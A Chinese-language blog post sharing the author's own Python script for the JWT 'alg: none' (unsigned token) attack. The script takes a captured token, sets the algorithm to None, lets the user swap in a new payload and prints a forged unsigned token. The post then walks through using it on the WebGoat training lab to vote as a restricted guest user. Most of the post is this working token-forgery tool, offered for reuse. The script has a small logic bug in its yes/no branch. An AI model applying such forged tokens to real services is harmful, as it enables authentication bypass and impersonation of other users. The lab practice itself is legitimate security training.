贴一篇自己写的JWT空加密攻击脚本

发布于 2023-06-04  414 次阅读


代码

  • 原理就不说了,上一篇有.将抓到的jwt输入即可得到攻击payload

import base64
import re
import time

jwt=input("请输入jwt:\n").encode()

header=re.search(b'(.*?)\.',jwt)
payload=re.search(b'\.(.*?)\.',jwt)

if header==None:
    print("\njwt格式错误!")
    time.sleep(10000)
if payload==None:
    print("\njwt格式错误!")
    time.sleep(10000)

header=header.group(1)
payload=payload.group(1)

header=header.replace(b'-', b'+').replace(b'_', b'/')
padding = 4 - (len(header) % 4)
header = header + b"=" * padding
header=base64.b64decode(header)
print("\n标头为:\n"+header.decode("ascii"))

payload=payload.replace(b'-', b'+').replace(b'_', b'/')
padding = 4 - (len(payload) % 4)
payload = payload + b"=" * padding
payload=base64.b64decode(payload)
print("\n载荷为:\n"+payload.decode("ascii"))

header=re.sub(b'"alg":"(.*?)"',b'"alg":"None"',header)
print("\n新的标头和载荷为:\n"+header.decode("ascii")+payload.decode("ascii"))
a=input("\n是否需要修改载荷?\n输0回车不修改,输1回车修改:")
if a==0:
    header=base64.b64encode(header).replace(b'+', b'-').replace(b'/', b'_').replace(b'=',b'')
    payload=base64.b64encode(payload).replace(b'+', b'-').replace(b'/', b'_').replace(b'=',b'')
else:
    a=input("\n输入新的载荷:\n")
    header=base64.b64encode(header).replace(b'+', b'-').replace(b'/', b'_').replace(b'=',b'')
    payload=base64.b64encode(a.encode('ascii')).replace(b'+', b'-').replace(b'/', b'_').replace(b'=',b'')

print("\n空加密攻击payload:\n"+header.decode("ascii")+'.'+payload.decode("ascii")+'.')

练习

  • jwt太恼火了,难的做不了,找了个简单的,上一篇的webgoat靶场JWT模块第四题

  • 以tom等三人的身份登录是可以投票的

  • 但是以guest的身份登录不能投票

  • 我们使用tom登录,投一票的时候抓个包,抓到了jwt

  • 丢给脚本,将有效载荷中的用户名改为Guest,得到jwt,cv到抓的包里放包

  • cv新jwt到抓的包里,放包

  • 发现原本不能投票的guest投票成功

届ける言葉を今は育ててる
最后更新于 2024-02-07